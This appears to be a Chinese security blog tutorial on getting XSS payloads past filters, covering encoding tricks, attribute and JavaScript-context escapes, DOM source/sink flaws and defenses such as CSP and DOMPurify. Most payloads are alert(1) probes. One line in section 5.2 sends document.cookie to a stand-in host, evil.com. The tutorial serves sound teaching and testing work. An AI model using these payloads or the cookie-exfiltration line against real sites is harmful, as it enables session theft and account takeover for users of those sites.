XSS绕过攻防实战:从基础过滤到高级编码混淆技巧

1. 项目概述:从“绕过”说起,理解XSS攻防的本质

最近在带新人做安全测试,发现很多刚入门的朋友对XSS(跨站脚本攻击)的理解还停留在“弹个窗”的层面,一遇到稍微有点过滤的输入点就束手无策了。这让我想起自己刚入行那会儿,也是对着一个被简单转义了的输入框干瞪眼。XSS的核心魅力,或者说让安全研究者着迷的地方,恰恰在于那种“道高一尺,魔高一丈”的对抗过程——开发者设下过滤规则,攻击者寻找规则中的缝隙,也就是我们常说的“绕过”。

“绕过”不是一个贬义词,在安全领域,它是一种重要的研究思路。只有充分理解攻击者会如何绕过你的防御,你才能构建起真正有效的防线。这篇内容,我就结合自己这些年踩过的坑和积累的经验,系统性地梳理一下XSS插入绕过的常见思路与高阶技巧。目标很明确:让你不仅知道有哪些绕过方式,更能理解每一种方式背后的原理和适用场景,从而在面对真实环境时,能自己分析、构造出有效的Payload。无论你是刚接触Web安全的新手,还是想深化XSS知识体系的同行,收藏这一篇,应该就够了。

2. XSS绕过的核心思想与前置知识

在深入各种奇技淫巧之前,我们必须先建立正确的认知框架。XSS绕过的目标,是让一段恶意脚本(通常是JavaScript)在目标用户的浏览器中被成功执行。而防御方(开发者)会在数据输入、传输、输出的各个环节设置障碍。因此,所有的绕过技术,本质上都是对防御规则和浏览器解析机制的深刻理解和巧妙利用。

2.1 理解浏览器的“解析”与“执行”

这是所有XSS绕过的基石。浏览器接收到服务器返回的HTML文档后,会启动一个复杂的解析过程。这个过程是分阶段、有顺序的:

  1. HTML解析 :浏览器从上到下解析HTML标签,构建DOM树。在这个阶段,它会识别 <script>、<img>、<div> 等标签及其属性。
  2. JavaScript解析与执行 :当解析到 <script> 标签,或者遇到 onclick、onload 这类事件处理器属性时,浏览器会将其中的内容交给JavaScript引擎去解析并执行。
  3. URL解析 :对于 href、src 等属性中的URL,浏览器会进行解码和请求。

关键点在于 :HTML解析、JavaScript解析、URL解码,它们的规则和顺序是不同的!一个常见的误区是,开发者可能只在某个环节做了一次过滤或编码,但攻击者可以利用不同解析阶段的差异,让恶意代码“瞒天过海”。

2.2 常见的防御手段与我们的“靶子”

要绕过,先得知道对方防了什么。开发者常用的防御措施包括:

  • 输入过滤/黑名单 :直接删除或转义疑似危险的字符,如 <、>、”、’、& script、onclick 等关键词。
  • 输出编码 :根据数据输出的上下文,进行不同的编码。例如,输出到HTML标签体内时,对 <、> 进行HTML实体编码( &lt;、&gt; );输出到HTML属性值时,还要对引号编码;输出到 <script> 标签内部时,则需处理JavaScript字符串。
  • 内容安全策略(CSP) :通过HTTP头告诉浏览器,只允许加载和执行来自特定来源的脚本,从根本上限制XSS。

我们的“绕过”,主要针对前两种,尤其是实现不完善的前两种。一个强大的CSP策略能极大地增加绕过难度,但并非无懈可击,那属于更高级的话题。

注意 :本文讨论的所有技术均用于合法授权的安全测试、攻防演练及学习研究。未经授权对任何系统进行测试是非法行为,请务必遵守法律法规。

3. 基础绕过:针对简单过滤与转义

我们从最简单的场景开始。假设一个搜索框,用户输入的内容会直接显示在结果页面上。后端可能只做了非常基础的过滤。

3.1 大小写与嵌套绕过

这是最古老但有时依然有效的技巧。

  • 原理 :很多简单的黑名单过滤采用简单的字符串匹配(如 indexOf(“script”) ),对大小写敏感。
  • Payload示例
    <ScRiPt>alert(1)</ScRiPt>
    <sCrIpT>alert(1)</sCrIpT>
    
  • 进阶:嵌套标签 :如果过滤了 <script> 但没过滤其他标签,可以尝试利用标签嵌套来破坏过滤逻辑(取决于过滤函数的实现方式)。
    <scr<script>ipt>alert(1)</scr</script>ipt>
    
    假设过滤函数是简单地删除“script”这个字符串,那么它处理 <scr<script>ipt> 时,会删除中间的“script”,剩下的部分正好拼接成 <script> 。不过,这种简单的字符串删除过滤现在比较少见。

3.2 利用HTML实体编码“延迟解码”

  • 原理 :浏览器在HTML解析阶段,会将HTML实体(如 &lt; )解码成对应字符( < )。但如果我们将Payload用HTML实体编码,有时可以绕过在服务端或前端输入时对 <、> 的检查。
  • Payload示例 :假设输入框过滤了 < > ,但输出时没有进行二次编码。
    • 我们输入: &lt;img src=1 onerror=alert(1)&gt;
    • 服务端可能认为这是无害的文本,因为它不包含尖括号。
    • 当这段文本被输出到HTML页面时,浏览器解析到 &lt; &gt; ,会将其解码为 < > 。于是,最终的DOM中就出现了一个 <img> 标签。
  • 关键 :这种绕过的成功与否,完全取决于数据流的处理链条。如果服务端在存储或输出前,对我们输入的 & 也进行了转义(变成 &amp; ),那么这个Payload就会失效,因为浏览器会看到 &amp;lt; ,解码后仍是 &lt; 文本。

3.3 换行符与回车符干扰

  • 原理 :有些过滤逻辑是逐行读取或使用正则表达式匹配,可能没有正确处理换行符( \n )或回车符( \r )。
  • Payload示例
    <img src=1
    onerror
    =
    alert(1)>
    
    或者利用JavaScript允许字符串换行的特性(在引号内):
    <script>alert(1
    )</script>
    
  • 实操心得 :在面对模糊的过滤时,尝试插入 \n、\r、\t 等空白字符,有时能意外地让Payload“滑”过去。尤其是在测试富文本编辑器或某些WAF(Web应用防火墙)规则时。

4. 属性内的XSS:无需闭合标签的战场

很多时候,我们无法插入一个完整的标签,但可以控制某个现有HTML标签的属性值。比如: <input type="text" value="【用户可控】"> 。这里是绕过的重灾区。

4.1 事件处理器与伪协议

  • 原理 :HTML标签有很多事件属性,如 onclick、onmouseover、onload、onerror 。当对应事件被触发时,其中的JavaScript代码就会执行。 javascript: 伪协议则常用于 href、src 等属性,点击链接或加载资源时执行。
  • Payload示例
    " onclick="alert(1)                     // 闭合value引号,然后添加新属性
    " onmouseover="alert(1)                // 鼠标滑过时触发
    "><script>alert(1)</script>            // 先闭合当前标签,再插入新标签(如果上下文允许)
    javascript:alert(1)                    // 用于href属性,如<a href="【可控】">
    
  • 绕过引号过滤 :如果引号被过滤或转义,我们可以尝试不用引号。HTML属性在特定条件下可以不加引号。
    value=1 onfocus=alert(1) autofocus     // 需要自动获取焦点才能触发
    value=1 onmouseover=alert(1)           // 鼠标滑过触发
    
    甚至可以利用其他属性来分隔:
    value=1 style=display:none onload=alert(1)  // 这种构造通常无效,因为onload不是所有标签都有。更常见的是:
    <img src=1 onerror=alert(1)>                 // 经典的img标签利用,src加载失败触发onerror
    

4.2 利用样式属性与CSS表达式(历史技巧)

  • 原理 :旧的IE浏览器支持在CSS中嵌入JavaScript表达式( expression(...) )。虽然现在主流浏览器已不支持,但在一些特定环境或作为绕过思路仍有提及。
  • Payload示例
    " style="color:expression(alert(1))"
    
  • 现代替代 :更常见的是利用 style 属性进行 CSS注入 ,再结合一些现代浏览器特性尝试转向其他攻击,如窃取数据。但纯CSS实现弹窗已非常困难。

4.3 细节:属性值中的空格与特殊字符

  • / (斜杠)的妙用 :在HTML中, / 可以用于提前闭合标签,在某些绕过场景中很关键。
    <img src="x" onerror=alert(1) / >      // 这里的 `/` 是标签的“自闭合”部分,但有时过滤不严,可以插入事件
    
    更常见的是在绕过 <script> 标签过滤时:
    <script/xxx>alert(1)</script>          // 浏览器对<script>标签的解析很“宽容”,`<script/任意内容>` 通常仍会被识别为脚本开始。
    
  • >(尖括号)的利用 :如果我们能控制属性值,并且该属性值之后没有引号闭合,我们可以用 > 来提前闭合当前标签,然后开始新的标签。
    <input type="text" value="【可控】">
    
    输入: " ><script>alert(1)</script> 结果: <input type="text" value="" ><script>alert(1)</script> ,成功逃逸出input标签。

5. 高级绕过:编码与解析顺序的把戏

当基础过滤都失效时,我们需要祭出更高级的武器:利用编码和浏览器解析的“时间差”。

5.1 多重编码混淆

  • 原理 :数据在传输和处理过程中可能经历多次编码/解码。例如:用户输入 → URL编码 → 服务器解码 → HTML实体编码 → 浏览器解码。如果我们能预测或影响其中一环,就可以植入恶意代码。
  • 场景模拟
    1. 假设一个参数通过URL传递: search?keyword=【可控】
    2. 服务端代码可能先用 decodeURIComponent 解码URL参数,然后进行过滤,最后输出到HTML。
    3. 绕过尝试 :我们提交的Payload是经过URL编码的: %3Cscript%3Ealert(1)%3C%2Fscript%3E (即 <script>alert(1)</script> 的URL编码)。
    4. 如果服务端先解码,得到原始Payload,然后过滤掉 <script> ,则绕过失败。
    5. 但如果服务端过滤逻辑有缺陷(比如先过滤,再解码?顺序很重要!),或者我们采用 双重编码
      • 我们提交: %253Cscript%253Ealert(1)%253C%252Fscript%253E (这是 <script>alert(1)</script> 两次 URL编码。 %25 % 本身的URL编码)。
      • 服务端第一次解码: %3Cscript%3Ealert(1)%3C%2Fscript%3E
      • 如果此时服务端没有进行第二次解码就直接过滤,它看到的只是“%3Cscript%3E”这个字符串,里面没有 < ,可能过滤不掉。
      • 然后服务端可能将这段“安全”的字符串输出到HTML。浏览器在渲染时,遇到 %3C 等,在HTML上下文中它可能不会解码,但如果这段数据被放入 <script> 标签内,或者被 JavaScript decodeURIComponent 函数处理,就会还原出恶意代码。
  • 实操心得 :多重编码绕过的成功率高度依赖于目标应用的具体处理流程。在测试时,需要结合抓包工具,仔细观察数据在每个环节(请求参数、响应体、前端JS处理)的表现形式。常用的编码包括URL编码、HTML实体编码、Unicode编码( \u003c )、Base64编码等。尝试在不同环节注入不同编码的Payload,观察其最终效果。

5.2 JavaScript上下文下的绕过

当我们的输入点位于 <script>...</script> 标签内部时,战场就转移到了JavaScript的语法层面。

  • 字符串拼接与逃逸
    // 假设服务端代码这样拼接
    var userInput = "【用户可控】";
    console.log("Hello, " + userInput);
    // 如果我们输入 `";alert(1);//`
    // 最终代码变为:
    var userInput = "";alert(1);//";
    console.log("Hello, " + userInput);
    // 成功逃逸字符串,注入新语句。
    
  • 利用反引号(模板字符串) :现代ES6支持反引号定义字符串,并允许内嵌表达式 ${} 。如果过滤了引号但没过滤反引号,且输入点在一个模板字符串中,可以尝试闭合。
    // 后端:`Welcome ${username}!`
    // 输入:`${alert(1)}`
    // 结果:`Welcome ${alert(1)}!`,执行alert。
    
  • 利用JavaScript解析特性
    • 八进制/十六进制编码 :JavaScript字符串支持 \xHH (十六进制)和 \OOO (八进制,已弃用但可能支持)表示字符。
      alert(1) 可以编码为: \x61\x6c\x65\x72\x74\x28\x31\x29
      // 使用时需要eval或作为代码执行: eval("\x61\x6c\x65\x72\x74\x28\x31\x29")
      
    • Unicode编码 \uXXXX 形式。
      alert 可以编码为: \u0061\u006c\u0065\u0072\u0074
      
    • String.fromCharCode :将ASCII码拼接成字符串。
      eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)) // alert(1)
      
  • 绕过 alert 过滤 :如果关键字 alert 被过滤,我们可以用其他方式调用。
    // 使用 window['alert'] 或 top['alert']
    window['al'+'ert'](1) // 字符串拼接
    top[8680439..toString(36)](1) // `8680439..toString(36)` 的结果是字符串 "alert",这是一种混淆技巧
    // 使用其他函数,如 prompt, confirm,或者更直接的:`document.location='http://evil.com/?c='+document.cookie`
    

5.3 基于DOM的XSS与Source/Sink

这是非常高级且常见于现代单页应用(SPA)的XSS类型。它不依赖于服务端响应中直接包含恶意脚本,而是利用前端JavaScript代码(如 innerHTML、document.write、eval、setTimeout、location.hash 等)不安全地处理用户可控的数据。

  • Source(源) :用户可控的数据输入点。如: document.location.hash、document.URL、document.referrer、window.name、表单输入
  • Sink(汇点) :能够导致脚本执行的JavaScript函数或属性。如: innerHTML、outerHTML、document.write、eval、setTimeout、setInterval、Function构造函数、location.href(跳转到javascript:...)
  • 绕过思路
    1. 识别Source和Sink :通过代码审计或黑盒测试(观察网络请求和前端代码),找到数据从哪里来,到哪里去。
    2. 分析数据处理流程 :数据在从Source到Sink的过程中,是否经过了过滤或编码?过滤逻辑是前端还是后端?
    3. 利用前端逻辑缺陷 :很多DOM XSS的过滤是在前端用JavaScript完成的,这很容易被绕过。因为攻击者可以完全控制发送给浏览器的最终数据(通过修改请求或本地代理),直接绕过前端检查。
    4. 案例 :一个页面通过 document.location.hash 获取锚点内容,然后直接用 innerHTML 插入到某个 div 中。
      • 正常访问: http://example.com/page#section1
      • 攻击构造: http://example.com/page#<img src=1 onerror=alert(1)>
      • 因为 location.hash 的内容不会发送到服务器,所以服务端无法过滤。前端代码如果直接使用 innerHTML ,就会导致XSS。

6. 实战场景与综合绕过技巧

理论说再多,不如看几个综合性的例子。这里我模拟几个常见场景,展示如何组合运用上述技巧。

6.1 场景一:富文本编辑器(过滤了标签和事件)

假设一个论坛的富文本编辑器,允许一些HTML标签(如 <b>、<i>、<img> ),但过滤了 <script> on事件

  • 尝试1:利用允许的标签属性 <img> 标签的 src 属性加载失败会触发 onerror ,但 onerror 被过滤了。怎么办?
  • 尝试2:利用 <svg> 标签 。SVG是XML格式,本身可以内嵌JavaScript。很多富文本编辑器为了支持矢量图,会允许 <svg> 标签。
    <svg onload=alert(1)>
    <svg><script>alert(1)</script></svg>  // 有些解析器会把svg内的script当作普通文本,不一定成功。
    
  • 尝试3:利用 <iframe>、<embed>、<object> 。这些标签可以加载外部或内部资源,可能触发执行。
    <iframe src="javascript:alert(1)"></iframe> // 如果javascript协议被允许
    
  • 尝试4:利用CSS的 expression() 或现代H5特性 。如前所述, expression 仅限旧IE。但可以尝试 <link> 标签引入外部样式表,或者利用 @import ,但这属于更复杂的攻击链。
  • 尝试5:利用标签的“非事件”属性进行绕过 。例如,有些过滤可能只检查 on开头 的属性。但HTML5支持一些新属性,如 <img> onload onerror 是事件,但 <input> formaction 不是事件,却可以在表单提交时改变目标,结合其他漏洞利用。对于XSS,更直接的是 <details> 标签的 ontoggle 事件,可能不在常见黑名单。
    <details ontoggle=alert(1) open>
    
  • 实操心得 :测试富文本编辑器时,要系统地尝试所有允许的标签,并查阅每个标签的所有属性,寻找那些能执行代码或触发请求的属性。自动化工具(如DOMPurify的测试用例)的标签-属性白名单是很好的参考。

6.2 场景二:JSON输出点的不安全解析

现代API常返回JSON数据,由前端JavaScript动态渲染。如果前端使用 eval() JSON.parse 后直接将对象属性用于 innerHTML 等Sink,就可能产生XSS。

  • 后端返回 {"username": "【用户输入】", "age": 20}
  • 前端错误处理
    // 错误示例
    var data = JSON.parse(response);
    document.getElementById('user-info').innerHTML = data.username; // 如果username包含HTML,就会被执行
    
  • 绕过 :这种情况下,服务端对 username 字段的过滤可能很严格。但我们可以尝试利用JSON本身的特性。
    • 输入闭合的HTML标签:如果服务端只转义了引号尖括号,但输出时没有用 innerText 而是 innerHTML ,那么输入 <img src=1 onerror=alert(1)> 可能直接生效。
    • 更隐蔽的 :如果前端是用 eval(“var data = ” + response) 来解析JSON(非常危险且过时),那么我们可以尝试注入JS代码。
      • 正常JSON: {"user": "test"}
      • 恶意输入: \"}); alert(1); // ,最终服务端返回的字符串可能是: {"user": "\"}); alert(1); //"} 。当与前端拼接时,可能破坏原有结构,注入代码。但这种漏洞现在已非常罕见。

6.3 场景三:过滤函数的递归与绕过

有时会遇到自定义的过滤函数,它会递归删除或替换“script”等关键词。

  • 假设过滤函数 while(input.indexOf(‘script’) != -1) { input = input.replace(‘script’, ‘’); }
  • 经典绕过 <scrscriptipt>alert(1)</scrscriptipt> 。第一次删除“script”后,剩下的部分又组合成了新的“script”。
  • 应对策略 :这种过滤非常脆弱。安全的做法是使用白名单(只允许已知安全的标签和属性),或者使用业界久经考验的库(如DOMPurify)。

7. 防御视角与绕过检测思路

作为攻击者,我们寻找绕过方法;作为开发者,我们则要堵上这些漏洞。了解攻击手法,才能更好地防御。

7.1 根本性防御措施

  1. 严格的输出编码 :根据输出上下文(HTML体、HTML属性、JavaScript、CSS、URL)选择正确的编码函数。不要自己写,用成熟的库,如OWASP ESAPI。
  2. 内容安全策略(CSP) :这是防御XSS的终极武器之一。通过HTTP头 Content-Security-Policy ,告诉浏览器只允许执行来自特定来源的脚本,禁止内联脚本( unsafe-inline )和 eval 。即使攻击者成功注入了脚本,浏览器也不会执行它。
  3. 使用安全框架/库 :前端渲染使用 textContent 代替 innerHTML ;如果必须使用HTML,使用 DOMPurify 这样的库进行净化。后端避免拼接SQL、拼接HTML/JS。
  4. 输入验证 :在业务允许的范围内,对输入格式进行严格校验(如邮箱格式、手机号格式)。但 绝不能 只依赖输入验证作为XSS的防御手段。

7.2 如何检测自己的应用是否存在XSS绕过风险

  1. 代码审计 :重点关注所有将用户输入输出到页面的地方。查找 innerHTML、document.write、eval、setTimeout/Interval location.href 赋值、 <script> 标签拼接等危险函数。检查是否根据上下文进行了正确的编码。
  2. 黑盒测试
    • 手工测试 :在所有用户输入点,系统性地尝试本文提到的各种Payload。使用浏览器开发者工具,观察Payload在HTML中的最终形态,是否被正确编码。
    • 工具辅助 :使用Burp Suite、ZAP等工具的Scanner模块,或专门的XSS扫描工具(如XSStrike、xsser)。但工具不能替代手工测试,尤其是对于复杂的DOM XSS和基于状态的绕过。
    • 变异与模糊测试 :对已知的Payload进行随机的大小写变换、编码、插入空白符、拼接等,观察过滤系统的反应。
  3. 测试Payload清单 :建立一个自己的测试用例库,包含不同上下文(HTML、属性、JavaScript、CSS、URL)的Payload,以及各种编码和混淆变体。

8. 常见问题与排查技巧实录

在实际测试和教学中,我遇到过很多典型问题。这里记录一些,希望能帮你少走弯路。

问题1:Payload提交后,页面没反应,但查看源代码发现Payload原样输出,没有被执行。

  • 排查 :这说明服务端或前端对输入进行了正确的HTML实体编码(如 < 变成 &lt; )。你需要检查输出点是否在 <script> 标签内,或者是否被 innerText/textContent 设置。如果在 <script> 标签内,你需要的是JavaScript字符串逃逸,而不是HTML标签。如果被 innerText 设置,那么任何HTML都不会被解析,这是安全的做法。

问题2:在输入框里输入Payload,一提交就被清空或页面报错。

  • 排查 :很可能服务端有较强的输入验证或过滤,直接拒绝了非法请求。你需要通过抓包工具(如Burp Suite)拦截请求,修改参数后重放,以绕过前端可能存在的任何检查。前端验证只是用户体验,绝对阻挡不了攻击者。

问题3:反射型XSS的Payload在URL里很长,被截断了。

  • 排查 :URL有长度限制(不同浏览器和服务器不同)。对于长的Payload,可以考虑使用 POST 请求(如果目标接受),或者将核心攻击代码缩短(如用 eval 执行一个从外部加载的短URL参数)。另一种思路是使用存储型XSS,将Payload存入数据库,然后诱使受害者访问一个简单的触发页面。

问题4:明明在A页面测试成功的Payload,在B页面(功能类似)却失败了。

  • 排查 :仔细对比两个页面的HTML结构、JavaScript代码和网络请求。可能存在的差异:
    • 输出点的上下文不同(一个在 <div> 内,一个在 <script> 变量中)。
    • 引入了不同的前端框架或库,处理方式不同。
    • 页面有全局的XSS过滤库(如Google的Caja,但已不维护),但只在某些页面加载。
    • 服务端对不同的接口或参数有不同的处理逻辑。

问题5:在本地或测试环境成功的Payload,在生产环境无效。

  • 排查 :生产环境可能开启了WAF(Web应用防火墙)或更严格的CSP策略。你需要分析生产环境返回的HTTP响应头,查看是否有 Content-Security-Policy 头,以及WAF是否拦截了请求(通常返回403或特定的拦截页面)。绕过WAF是另一个深水区,通常需要利用WAF规则的特异性,例如使用生僻的标签/属性、多重编码、协议混淆等。

个人心得 :XSS测试就像一场侦探游戏,需要耐心和细心。不要盲目扔Payload,要观察、推理、验证。多使用浏览器的开发者工具(Elements, Console, Network, Debugger),理解每一行代码的执行过程。遇到困难时,把问题拆解:是输入过滤了?输出编码了?还是执行环境变了?逐一分析,总能找到突破口。最后,永远保持学习,浏览器在更新,防御技术在进步,新的绕过技巧也总在出现。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值